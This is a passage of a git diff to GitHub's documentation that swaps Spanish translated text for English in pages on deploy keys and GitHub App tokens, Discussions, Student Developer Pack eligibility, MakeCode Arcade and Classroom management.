tokens de _alcance limitado_ de _servidor a servidor_ desde dicha GitHub App. Se puede ajustar el alcance de los tokens de servidor a servidor para repositorios múltiples y pueden tener permisos específicos. Por ejemplo, puedes generar un token con acceso de solo lectura al contenido de un repositorio. +If your server needs to access repositories across one or more organizations, you can use a GitHub App to define the access you need, and then generate _tightly-scoped_, _server-to-server_ tokens from that GitHub App. The server-to-server tokens can be scoped to single or multiple repositories, and can have fine-grained permissions. For example, you can generate a token with read-only access to a repository's contents. -Ya que las GitHub Apps son un actor de primera clase en {% data variables.product.product_name %}, los tokens de servidor a servidor se desacoplan de cualquier usuario de GitHub, lo cual los hace comparables con los "tokens de servicio". Adicionalmente, los tokens de servidor a servidor. tienen límites de tasa dedicados que se escalan de acuerdo con el tamaño de las organizaciones sobre las cuales actúan. Para obtener más información, consulta la sección [Límites de tasa para las GitHub Apps](/developers/apps/rate-limits-for-github-apps). +Since GitHub Apps are a first class actor on {% data variables.product.product_name %}, the server-to-server tokens are decoupled from any GitHub user, which makes them comparable to "service tokens". Additionally, server-to-server tokens have dedicated rate limits that scale with the size of the organizations that they act upon. For more information, see [Rate limits for Github Apps](/developers/apps/rate-limits-for-github-apps). #### Pros -- Tokens de alcance muy específico con conjuntos de permisos bien definidos y tiempos de vencimiento (1 hora o menos si se revocan manualmente utilizando la API). -- Límites de tasa dedicados que crecen con tu organización. -- Desacoplados de las identidades de los usuariso de GitHub para que no consuman plazas de la licencia. -- Nunca se les otorga una contraseña, así que no se puede iniciar sesión directamente en ellos. +- Tightly-scoped tokens with well-defined permission sets and expiration times (1 hour, or less if revoked manually using the API). +- Dedicated rate limits that grow with your organization. +- Decoupled from GitHub user identities, so they do not consume any licensed seats. +- Never granted a password, so cannot be directly signed in to. -#### Contras +#### Cons -- Se necesita de una configuración adicional para crear la GitHub App. -- Los tokens de servidor a servidor vencen después de 1 hora, entonces necesitan volver a generarse habitualmente cuando se necesite, utilizando código. +- Additional setup is needed to create the GitHub App. +- Server-to-server tokens expire after 1 hour, and so need to be re-generated, typically on-demand using code. -#### Configuración +#### Setup -1. Determina si tu GitHub App debería ser pública o privada. Si tu GitHub App solo actúa en los repositorios dentro de tu organización, probablemente la quieras como privada. -1. Determina los permisos que necesita tu GitHub App, tales como el acceso de solo lectura al contenido del repositorio. -1. Crea tu GitHub App a través de la página de configuración de tu organización. Para obtener más información, consulta la sección [Crear una GitHub App](/developers/apps/creating-a-github-app). -1. Ten en cuenta la `id` de tu GitHub App. -1. Genera y descarga la llave privada de tu GitHub App y almacénala de forma segura. Para obtener más información, consulta la sección [Generar una llave privada](/developers/apps/authenticating-with-github-apps#generating-a-private-key). -1. Instala tu GitHub App en los repositorios sobre los que necesita actuar, opcionalmente, puedes instalarla en todos los repositorios de tu organización. -1. Identifica la `installation_id` que representa la conexión entre tu GitHub App y los repositorios de tu organización a los que puede acceder. Cada par de GitHub App y organización tienen por lo mucho una sola `installation_id`. Puedes identificar esta `installation_id` a través de la sección [Obtén una instalación de organización para la app autenticada](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). Esto requiere autenticarse como una GitHub App utilizando un JWT. Para obtener más información, consulta la sección [Autenticarse como una GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app). -1. Genera un token de servidor a servidor utilizando la terminal de la API de REST correspondiente, [Crear un token de acceso a la instalación para una app](/rest/reference/apps#create-an-installation-access-token-for-an-app). Esto requiere autenticarse como una GitHub App utilizando un JWT. Para obtener más información, consulta las secciones [Autenticarse como una GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app) y [Autenticarse como una instalación](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation). -1. Esto requiere que un token de servidor a servidor interactúe con tus repositorios, ya sea a través de la API de REST o de GraphQL, o mediante el cliente de Git. +1. Determine if your GitHub App should be public or private. If your GitHub App will only act on repositories within your organization, you likely want it private. +1. Determine the permissions your GitHub App requires, such as read-only access to repository contents. +1. Create your GitHub App via your organization's settings page. For more information, see [Creating a GitHub App](/developers/apps/creating-a-github-app). +1. Note your GitHub App `id`. +1. Generate and download your GitHub App's private key, and store this safely. For more information, see [Generating a private key](/developers/apps/authenticating-with-github-apps#generating-a-private-key). +1. Install your GitHub App on the repositories it needs to act upon, optionally you may install the GitHub App on all repositories in your organization. +1. Identify the `installation_id` that represents the connection between your GitHub App and the organization repositories it can access. Each GitHub App and organization pair have at most a single `installation_id`. You can identify this `installation_id` via [Get an organization installation for the authenticated app](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app). +1. Generate a server-to-server token using the corresponding REST API endpoint, [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app). This requires authenticating as a GitHub App using a JWT, for more information see [Authenticating as a GitHub App](/developers/apps/authenticating-with-github-apps#authenticating-as-a-github-app), and [Authenticating as an installation](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation). +1. Use this server-to-server token to interact with your repositories, either via the REST or GraphQL APIs, or via a Git client. -## Usuarios máquina +## Machine users -If your server needs to access multiple repositories, you can create a new account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and attach an SSH key that will be used exclusively for automation. Since this account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} won't be used by a human, it's called a _machine user_. Puedes agregar el usuario máquina como [colaborador][collaborator] en un repositorio personal (otorgándole acceso de lectura y escritura), como un [colaborador externo][outside-collaborator] en el repositorio de una organización (otorgándole acceso de lectura, escritura y administrador), o a un [equipo][team] con acceso a los repositorios que necesite para la automatización (otorgándole los permisos del equipo). +If your server needs to access multiple repositories, you can create a new account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and attach an SSH key that will be used exclusively for automation. Since this account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} won't be used by a human, it's called a _machine user_. You can add the machine user as a [collaborator][collaborator] on a personal repository (granting read and write access), as an [outside collaborator][outside-collaborator] on an organization repository (granting read, write, or admin access), or to a [team][team] with access to the repositories it needs to automate (granting the permissions of the team). {% ifversion fpt or ghec %} @@ -153,9 +154,9 @@ If your server needs to access multiple repositories, you can create a new accou **Tip:** Our [terms of service][tos] state: -> *No se permiten las cuentas que registren ni los "bots", ni otros métodos automatizados.* +> *Accounts registered by "bots" or other automated methods are not permitted.* -Esto significa que no puedes automatizar la creación de las cuentas. Pero si quieres crear un solo usuario máquina para automatizar las tareas como el despliegue de scripts en tu proyecto u organización, eso está perfecto. +This means that you cannot automate the creation of accounts. But if you want to create a single machine user for automating tasks such as deploy scripts in your project or organization, that is totally cool. {% endtip %} @@ -163,25 +164,28 @@ Esto significa que no puedes automatizar la creación de las cuentas. Pero si qu #### Pros -* Cualquiera que tenga acceso al repositorio y al servidor tiene la capacidad de desplegar el proyecto. -* No se necesitan usuarios (humanos) para cambiar su configuración local de SSH. -* No se necesitan llaves múltiples; una por servidor está bien. +* Anyone with access to the repository and server has the ability to deploy the project. +* No (human) users need to change their local SSH settings. +* Multiple keys are not needed; one per server is adequate. -#### Contras +#### Cons -* Únicamente las organizaciones pueden restringir a los usuarios máquina para que tengan acceso de solo lectura. Los repositorios personales siempre otorgan a los colaboradores acceso de lectura/escritura. -* Las llaves de los usuarios máquina, tal como las llaves de despliegue, a menudo no se encuentran protegidas con una frase de acceso. +* Only organizations can restrict machine users to read-only access. Personal repositories always grant collaborators read/write access. +* Machine user keys, like deploy keys, are usually not protected by a passphrase. -#### Configuración +#### Setup -1. [Ejecuta el procedimiento de `ssh-keygen`][generating-ssh-keys] en tu servidor y adjunta la llave pública a la cuenta del usuario máquina. -2. Otorga a la cuenta del usuario máquina el acceso a los repositorios que quieras automatizar. Puedes hacer esto si agregas la cuenta como un [colaborador][collaborator], como un [colaborador externo][outside-collaborator], o a un [equipo][team] en una organización. +1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server and attach the public key to the machine user account. +2. Give the machine user account access to the repositories you want to automate. You can do this by adding the account as a [collaborator][collaborator], as an [outside collaborator][outside-collaborator], or to a [team][team] in an organization. [ssh-agent-forwarding]: /guides/using-ssh-agent-forwarding/ [generating-ssh-keys]: /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/#generating-a-new-ssh-key [tos]: /free-pro-team@latest/github/site-policy/github-terms-of-service/ [git-automation]: /articles/git-automation-with-oauth-tokens -[git-automation]: /articles/git-automation-with-oauth-tokens [collaborator]: /articles/inviting-collaborators-to-a-personal-repository [outside-collaborator]: /articles/adding-outside-collaborators-to-repositories-in-your-organization [team]: /articles/adding-organization-members-to-a-team + +## Further reading +- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) + diff --git a/translations/es-ES/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md b/translations/es-ES/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md index 31813a1127..1470bba1bc 100644 --- a/translations/es-ES/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md +++ b/translations/es-ES/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -1,60 +1,60 @@ --- -title: Acerca de los debates -intro: 'Utiliza los debates para preguntar y responder preguntas, compartir información, hacer anuncios y moderar o participar en una conversación sobre un proyecto en {% data variables.product.product_name %}.' +title: About discussions +intro: 'Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}.' versions: fpt: '*' ghec: '*' --- -## Acerca de {% data variables.product.prodname_discussions %} +## About {% data variables.product.prodname_discussions %} -Con los {% data variables.product.prodname_discussions %}, la comunidad de tu proyecto puede crear y participar en conversaciones dentro del repositorio del proyecto. Los debates fotalecen a los mantenedores del proyecto, contribuyentes y visitantes para que se reunan y logren sus metas en una ubicación centralizada, sin herramientas de terceros. +With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. -- Comparte anuncios e información, recolecta comentarios, planea y toma decisiones -- Haz preguntas, debate y respóndelas, y marca los debates como respondidos -- Fomenta un ambiente amigable para los visitantes y contribuyentes para que se debatan las metas, el desarrollo, la administración y los flujos de trabajo +- Share announcements and information, gather feedback, plan, and make decisions +- Ask questions, discuss and answer the questions, and mark the discussions as answered +- Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows -![Pestaña de debates en un repositorio](/assets/images/help/discussions/hero.png) +![Discussions tab for a repository](/assets/images/help/discussions/hero.png) -No necesitas cerrar un debate de la misma forma en que cierras una propuesta o una solicitud de cambios. +You don't need to close a discussion like you close an issue or a pull request. -Si un administrador de repositorio o mantenedor de proyecto habilita los {% data variables.product.prodname_discussions %} para un repositorio, cualquiera que visite el repositorio podrá crear y participar en los debates de este. Los administradores del repositorio y los mantenedores del proyecto pueden administrar los debates y las categorías de los mismos en un repositorio y fijarlos para incrementar la visibilidad de éstos. Los moderadores y colaboradores pueden marcar los comentarios como respuestas, fijar debates, y convertir las propuestas en debates. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +If a repository administrator or project maintainer enables {% data variables.product.prodname_discussions %} for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." -Para obtener más información sobre la adminsitración de debates para tu repositorio, consulta la sección "[Administrar debates en tu repositorio](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)". +For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." -## Acerca de la organización de debates +## About discussion organization -Puedes organizar debates con categorías y etiquetas. +You can organize discussions with categories and labels. {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} -Para los debates con un formato de pregunta/respuesta, un comentario individual dentro del debate puede marcarse como la respuesta a éste. {% data reusables.discussions.github-recognizes-members %} +For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} {% data reusables.discussions.about-announcement-format %} -Para obtener más información, consulta la sección "[Administrar las categorías para los debates en tu repositorio](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)". +For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.discussions.you-can-label-discussions %} -## Mejores prácticas para los {% data variables.product.prodname_discussions %} +## Best practices for {% data variables.product.prodname_discussions %} -Como mantenedor o miembro de la comunidad, inicia un debate para hacer una pregunta o debatir información que les afecte. Para obtener más información, consulta la sección "[Colaborar con los mantenedores a través de los debates](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)". +As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." -Participa en un debate para hacer y responder preguntas, proporcionar retroalimentación e interactuar con la comunidad del proyecto. Para obtener más información, consulta la sección "[Participar en un debate](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)". +Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." -Puedes destacar los debates que contengan conversaciones importantes, útiles o ejemplares entre los miembros de la comunidad. Para obtener más información, consulta la sección "[Administrar los debates en tu repositorio](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)". +You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." -{% data reusables.discussions.you-can-convert-an-issue %} Para obtener más información, consulta la sección "[Moderar los debates en tu repositorio](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)". +{% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." -## Compartir retroalimentación +## Sharing feedback -Puedes compartir tu retroalimentación sobre los {% data variables.product.prodname_discussions %} con {% data variables.product.company_short %}. Para unirte a la conversación, consulta la sección [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). +You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). -## Leer más +## Further reading -- "[Acerca de escribir y dar formato en {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" -- "[Buscar debates](/search-github/searching-on-github/searching-discussions)" -- "[Acerca de las notificaciones](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" -- "[Moderar comentarios y conversaciones](/communities/moderating-comments-and-conversations)" -- "[Mantener tu seguridad en {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)" +- "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" +- "[Searching discussions](/search-github/searching-on-github/searching-discussions)" +- "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" +- "[Moderating comments and conversations](/communities/moderating-comments-and-conversations)" +- "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)" diff --git a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md index 8886ce329a..514bf5d42f 100644 --- a/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md +++ b/translations/es-ES/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md @@ -1,6 +1,6 @@ --- -title: ¿Por qué no se aprobó mi solicitud para un paquete de desarrollo para estudiantes? -intro: 'Revisa las razones comunes por las que las solicitudes para el {% data variables.product.prodname_student_pack %} no se aprueban y lee las sugerencias para volver a solicitarlo con éxito.' +title: Why wasn't my application for a student developer pack approved? +intro: 'Review common reasons that applications for the {% data variables.product.prodname_student_pack %} are not approved and learn tips for reapplying successfully.' redirect_from: - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved @@ -10,64 +10,63 @@ redirect_from: - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved versions: fpt: '*' -shortTitle: Aplicación sin aprobar +shortTitle: Application not approved --- - {% tip %} -**Sugerencia:** {% data reusables.education.about-github-education-link %} +**Tip:** {% data reusables.education.about-github-education-link %} {% endtip %} -## Documentos de afiliación académica poco claros +## Unclear academic affiliation documents -Si las fechas o programación que se mencionan en tu imagen cargada no coinciden con nuestros criterios de elegibilidad, necesitaremos más pruebas de tu estado académico. +If the dates or schedule mentioned in your uploaded image do not match our eligibility criteria, we require further proof of your academic status. -Si la imagen que cargaste no identifica claramente tu estado académico o si está borrosa, necesitaremos más pruebas de tu estado académico. {% data reusables.education.upload-proof-reapply %} +If the image you uploaded doesn't clearly identify your current academic status or if the uploaded image is blurry, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} {% data reusables.education.pdf-support %} -## Usar un correo electrónico académico con un dominio no verificado +## Using an academic email with an unverified domain -Si tu dirección de correo electrónico académica tiene un dominio no verificado, requerimos más pruebas de tu situación académica. {% data reusables.education.upload-proof-reapply %} +If your academic email address has an unverified domain, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} {% data reusables.education.pdf-support %} -## Usar un correo electrónico académico de una escuela con políticas de correo electrónico poco estrictas +## Using an academic email from a school with lax email policies -Si tu escuela expide direcciones de correo electrónico antes del pago de la inscripción, requerimos más pruebas de tu situación académica. {% data reusables.education.upload-proof-reapply %} +If your school issues email addresses prior to paid student enrollment, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} {% data reusables.education.pdf-support %} -Si tienes otras preguntas o inquietudes acerca del dominio de la escuela solicita al personal de informática de tu escuela que nos contacte. +If you have other questions or concerns about the school domain please ask your school IT staff to contact us. -## Dirección de correo electrónico académica que ya se usó +## Academic email address already used -Si tu dirección de correo electrónico académica ya se utilizó para solicitar un {% data variables.product.prodname_student_pack %} para una cuenta diferente de {% data variables.product.prodname_dotcom %}, no la podrás reutilizar para solicitar otro {% data variables.product.prodname_student_pack %} con éxito. +If your academic email address was already used to request a {% data variables.product.prodname_student_pack %} for a different {% data variables.product.prodname_dotcom %} account, you cannot reuse the academic email address to successfully apply for another {% data variables.product.prodname_student_pack %}. {% note %} -**Nota:** mantener más de una cuenta individual no respeta los {% data variables.product.prodname_dotcom %} [Términos del servicio](/articles/github-terms-of-service/#3-account-requirements). +**Note:** It is against the {% data variables.product.prodname_dotcom %} [Terms of Service](/articles/github-terms-of-service/#3-account-requirements) to maintain more than one individual account. {% endnote %} -Si tienes más de una cuenta de usuario, debes fusionar tus cuentas. Para conservar el descuento, debes mantener la cuenta a la que se le otorgó el descuento. Puedes renombrar la cuenta retenida y conservar tu historial de contribuciones agregando todas las direcciones de correo electrónico a la cuenta retenida. +If you have more than one personal user account, you must merge your accounts. To retain the discount, keep the account that was granted the discount. You can rename the retained account and keep your contribution history by adding all your email addresses to the retained account. -Para obtener más información, consulta: -- "[Fusionar cuentas de usuario múltiples](/articles/merging-multiple-user-accounts)" -- "[Cambiar tu nombre de usuario {% data variables.product.prodname_dotcom %}](/articles/changing-your-github-username)" -- "[Agregar una dirección de correo electrónico a tu cuenta {% data variables.product.prodname_dotcom %}](/articles/adding-an-email-address-to-your-github-account)" +For more information, see: +- "[Merging multiple user accounts](/articles/merging-multiple-user-accounts)" +- "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)" +- "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/articles/adding-an-email-address-to-your-github-account)" -## Situación de estudiante inadmisible +## Ineligible student status -No eres apto para un {% data variables.product.prodname_student_pack %} si: -- Estás inscrito en un programa de aprendizaje informal que no es parte del [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) y no así en un curso de estudio que te otorgue una certificación o diploma. -- Estás buscando obtener un título que se terminará en la sesión académica actual. -- Tienes menos de 13 años. +You're ineligible for a {% data variables.product.prodname_student_pack %} if: +- You're enrolled in an informal learning program that is not part of the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) and not enrolled in a degree or diploma granting course of study. +- You're pursuing a degree which will be terminated in the current academic session. +- You're under 13 years old. -Tu instructor todavía puede solicitar un descuento para uso escolar {% data variables.product.prodname_education %}. Si eres alumno en una escuela o curso intensivo de programación, serás elegible para un {% data variables.product.prodname_student_pack %} si tu escuela se une al [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools). +Your instructor may still apply for a {% data variables.product.prodname_education %} discount for classroom use. If you're a student at a coding school or bootcamp, you will become eligible for a {% data variables.product.prodname_student_pack %} if your school joins the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools). -## Leer más +## Further reading -- "[Solicitar un paquete de desarrollo para estudiantes](/articles/applying-for-a-student-developer-pack)" -- "[Postularse para un paquete de desarrollo para alumnos](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)" +- "[How to get the GitHub Student Developer Pack without a student ID](https://github.blog/2019-07-30-how-to-get-the-github-student-developer-pack-without-a-student-id/)" on {% data variables.product.prodname_blog %} +- "[Apply for a student developer pack](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)" diff --git a/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md b/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md index cb21885da2..b2f402b4e8 100644 --- a/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md +++ b/translations/es-ES/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md @@ -1,32 +1,31 @@ --- -title: Acerca de utilizar MakeCode Arcade con GitHub Classroom -shortTitle: Acerca de utilizar MakeCode Arcade -intro: 'Puedes configurar a MakeCode Arcade como el IDE en línea para las tareas en {% data variables.product.prodname_classroom %}.' +title: About using MakeCode Arcade with GitHub Classroom +shortTitle: About using MakeCode Arcade +intro: 'You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}.' versions: fpt: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode - /education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom --- +## About MakeCode Arcade -## Acerca de MakeCode Arcade - -MakeCode Arcade es un ambiente de desarrollo integrado (IDE, por sus siglas en inglés) para desarrollar juegos retro de arcade utilizando una programación de arrastre de bloques y JavaScript. Con MakeCode Arcade, los alumnos pueden escribir, editar, ejecutar, probar y depurar código desde un buscador. Para obtener más información sobre los IDe y {% data variables.product.prodname_classroom %}, consulta la sección "[Integrar {% data variables.product.prodname_classroom %} con un IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide)". +MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} -La primera vez que el alumno da clic en el botón para visitar a MakeCode Arcade, éste deberá ingresar en MakeCode Arcade con sus credenciales de {% data variables.product.product_name %}. Después de ingresar, el alumno tendrá acceso a un ambiente de desarrollo que contenga el código de un repositorio de tareas, completamente configurado en makeCode Arcade. +The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. -Para obtener más información sobre cómo trabajar en MakeCode Arcade, consulta el [Recorrido de MakeCode Arcade](https://arcade.makecode.com/ide-tour) y la [documentación](https://arcade.makecode.com/docs) en el sitio web de MakeCode Arcade. +For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. -MakeCode Arcade no escompatible con edición de multijugadores para las tareas grupales. En vez de esto, los alumnos pueden colaborar con las características de Git y de {% data variables.product.product_name %} como las ramas y las solicitudes de cambios. +MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. -## Acerca de la emissión de tareas con MakeCode Arcade +## About submission of assignments with MakeCode Arcade -Predeterminadamente, MakeCode Arcade se encuentra configurado para subir las tareas al repositorio designado para ellas en {% data variables.product.product_location %}. Después de que se haya progresado en una tarea de MakeCode Arcade, los alumnos deberán subir los cambios a {% data variables.product.product_location %} utilizando el {% octicon "arrow-up" aria-label="The up arrow icon" %} de la {% octicon "mark-github" aria-label="The GitHub mark" %} al final de la pantalla. +By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen. -![Funcionalidad de control de versiones de MakeCode Arcade](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) +![MakeCode Arcade version control functionality](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) -## Leer más +## Further reading -- "[Acerca de los archivos README](/github/creating-cloning-and-archiving-repositories/about-readmes)" +- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" diff --git a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md index dd8649b792..e08cd628d3 100644 --- a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md +++ b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md @@ -1,6 +1,6 @@ --- -title: Administrar aulas -intro: 'Puedes crear y administrar un aula para cada curso que impartes utilizando {% data variables.product.prodname_classroom %}.' +title: Manage classrooms +intro: 'You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}.' permissions: Organization owners can manage a classroom for an organization. versions: fpt: '*' @@ -9,101 +9,116 @@ redirect_from: - /education/manage-coursework-with-github-classroom/manage-classrooms --- -## Acerca de las aulas +## About classrooms {% data reusables.classroom.about-classrooms %} -![Aula](/assets/images/help/classroom/classroom-hero.png) +![Classroom](/assets/images/help/classroom/classroom-hero.png) -## Acerca de la administración de aulas +## About management of classrooms -{% data variables.product.prodname_classroom %} utiliza cuentas de organización en {% data variables.product.product_name %} para administrar los permisos, la administración y la seguridad de cada aula que crees. Cada organización puede tener varias aulas. +{% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. -Después de crear un aula, {% data variables.product.prodname_classroom %} te pedirá que invites a los asistentes del maestro (TA) y a los administradores a formar parte de ella. Cada aula puede tener uno o más administradores. Los administradores pueden ser maestros, TA o cualquier otro administrador de curso que quieras tenga control sobre las aulas de {% data variables.product.prodname_classroom %}. +After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. -Invita a los TA y administradores a tu aula invitando a sus cuentas de usuario en {% data variables.product.product_name %} para que formen parte de tu organización como propietarios de la misma y compartiendo la URL de tu aula. Los propietarios de la organización pueden administrar cualquier aula en ésta. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)." +Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classroom. Organization owners can administer any classroom for the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)." -Cuando termines de utilizar un aula, puedes archivarla y referirte a ella, a su registro de alumnos o a 